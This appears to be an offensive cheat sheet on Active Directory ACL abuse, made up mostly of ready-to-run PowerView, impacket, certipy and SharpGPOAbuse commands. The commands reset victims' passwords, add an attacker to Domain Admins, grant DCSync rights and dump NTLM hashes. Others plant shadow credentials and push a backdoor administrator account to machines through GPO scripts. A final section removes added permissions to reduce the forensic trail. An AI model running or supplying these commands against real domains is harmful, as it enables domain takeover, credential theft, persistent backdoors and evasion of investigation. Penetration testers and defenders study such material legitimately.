DACL / ACL Attacks
aka ACL Abuse, DACL Abuse, GenericAll, WriteDACL, WriteOwner
Active Directory ACL abuse: GenericAll/Write/WriteDACL/WriteOwner exploitation chains, ForceChangePassword, AddMember, shadow credentials, GPO abuse, DCSync right grants, and BloodHound-driven attack path traversal.
Ports
| Port | Proto | Notes |
|---|---|---|
389 | tcp | LDAP — all ACL modifications |
445 | tcp | SMB — GPO file access / modification |
Fingerprint
- BloodHound shows outbound ACL edges: GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword
- PowerView Get-DomainObjectAcl reveals ACE entries on any object
Key files
| Path | Holds | Sensitive |
|---|---|---|
SYSVOL GPO folders | GPO scripts writable via GenericAll on GPO object | sensitive |
Exploitation primitives
- GenericAll on user: change password or add shadow credential directly
- GenericWrite on user: set SPN (Kerberoast), set msDS-KeyCredentialLink (shadow creds)
- WriteDACL on any object: grant yourself GenericAll then abuse
- WriteOwner: take ownership then WriteDACL → GenericAll
- DCSync rights: grant yourself Replicating Directory Changes permissions
- GPO write: modify computer startup script → SYSTEM on all affected machines
Overview
ACL (Access Control List) entries in AD define who can do what to each object. Misconfigurations leave non-admin accounts with powerful rights over sensitive objects. BloodHound visualises these edges; PowerView executes the abuse.
Discovery
BloodHound (graph view)
In BloodHound:
- Node info → Outbound Object Control (edges pointing away from your compromised user)
- Pre-built query: Shortest Paths from Owned Principals
- Common edges to look for:
GenericAll,GenericWrite,WriteDACL,WriteOwner,ForceChangePassword,AddMember,AddKeyCredentialLink,AllExtendedRights
PowerView
# Find interesting ACEs on a specific object
Get-DomainObjectAcl -Identity 'target_user' -ResolveGUIDs |
Where { $_.SecurityIdentifier -match 'S-1-5-21-XXXX-XXXX-XXXX-1234' }
# Find all ACEs your user has on domain objects
Get-DomainObjectAcl -ResolveGUIDs |
Where { $_.SecurityIdentifier -eq (Get-DomainUser -Identity attacker).objectsid } |
Select ObjectDN, ActiveDirectoryRights
# Find all GenericAll in the domain
Get-DomainObjectAcl -ResolveGUIDs |
Where { $_.ActiveDirectoryRights -match "GenericAll" } |
Select ObjectDN, IdentityReference
# Check DACL on domain object
Get-DomainObjectAcl -Identity 'domain.local' -ResolveGUIDs
GenericAll on User
Full control over the user object: change password, add shadow credential, etc.
# Change victim's password (no old password needed)
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "NewPass123!" -AsPlainText -Force) -Verbose
# Linux
net rpc password victim 'NewPass123!' -U 'domain.local/attacker%pass' -S DC_IP
GenericAll on Group
Add yourself to the group:
Add-DomainGroupMember -Identity 'Domain Admins' -Members attacker
# Linux
net rpc group addmem 'Domain Admins' attacker -U 'domain.local/attacker%pass' -S DC_IP
GenericWrite on User
Modify the user’s attributes (not direct password change).
Set a Fake SPN → Kerberoast the target
Set-DomainObject -Identity victim -Set @{serviceprincipalname='nonexistent/fakespn'}
# Now Kerberoast victim's account
GetUserSPNs.py domain.local/attacker:pass -request -dc-ip DC_IP
# Remove after cracking:
Set-DomainObject -Identity victim -Clear serviceprincipalname
Shadow Credentials (msDS-KeyCredentialLink)
# Linux — certipy
certipy shadow auto -u attacker@domain.local -p pass -account victim -dc-ip DC_IP
# Outputs: victim's NT hash and a .pfx cert
# Linux — pywhisker
python3 pywhisker.py -d domain.local -u attacker -p pass --target victim --action add
# Windows — Whisker
.\Whisker.exe add /target:victim /domain:domain.local /dc:DC_IP
WriteDACL on Object
Add an ACE that grants yourself GenericAll:
# Grant yourself GenericAll on the target object
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity attacker -Rights All -Verbose
# Grant DCSync rights on the domain object
Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' -PrincipalIdentity attacker -Rights DCSync
# Linux — dacledit.py (impacket)
dacledit.py domain.local/attacker:pass -dc-ip DC_IP -action write -rights FullControl -principal attacker -target 'victim'
WriteOwner → WriteDACL → GenericAll Chain
# 1. Take ownership of the target object
Set-DomainObjectOwner -Identity victim -OwnerIdentity attacker
# 2. Grant WriteDACL to yourself
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -Rights WriteDACL
# 3. Grant GenericAll using WriteDACL
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -Rights All
ForceChangePassword / User-Force-Change-Password
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "Pwned123!" -AsPlainText -Force)
# Linux
rpcclient -U 'domain.local/attacker%pass' DC_IP -c 'setuserinfo2 victim 23 Pwned123!'
DCSync Rights (Replicating Directory Changes)
Grant your account DCSync permissions:
Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' -PrincipalIdentity attacker -Rights DCSync
Then DCSync from Linux:
secretsdump.py domain.local/attacker:pass@DC_IP -just-dc-ntlm
GPO Abuse (GenericAll/GenericWrite on a GPO)
Modify a GPO to execute code on all machines it applies to.
# Enumerate GPO-to-OU links
Get-DomainGPO | select displayname, gpcfilesyspath
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where { $_.ActiveDirectoryRights -match "GenericAll|Write" }
# Find GPOs you can modify
Get-DomainGPO | ForEach-Object {
$acl = Get-DomainObjectAcl -Identity $_.Name -ResolveGUIDs
$acl | Where { $_.SecurityIdentifier -match $attacker_sid } | Select ObjectDN, ActiveDirectoryRights
}
# Linux — PyGPOAbuse (add local admin or run command)
python3 pygpoabuse.py domain.local/attacker:pass -gpo-id '{GPO-GUID}' -dc-ip DC_IP -command 'net user backdoor Backdoor123! /add && net localgroup administrators backdoor /add' -computer-name TARGET
# SharpGPOAbuse (Windows)
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Default Domain Policy"
.\SharpGPOAbuse.exe --AddComputerScript --ScriptName startup.bat --ScriptContents "net user backdoor Backdoor123! /add" --GPOName "Vulnerable GPO"
AddKeyCredentialLink (Shadow Credentials)
Same as GenericWrite path — directly modify msDS-KeyCredentialLink:
# certipy (Linux)
certipy shadow auto -u attacker@domain.local -p pass -account 'target_computer$' -dc-ip DC_IP
Cleanup
After exploitation, remove your added ACEs to reduce forensic trail:
Remove-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity attacker -Rights All
Remove-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' -PrincipalIdentity attacker -Rights DCSync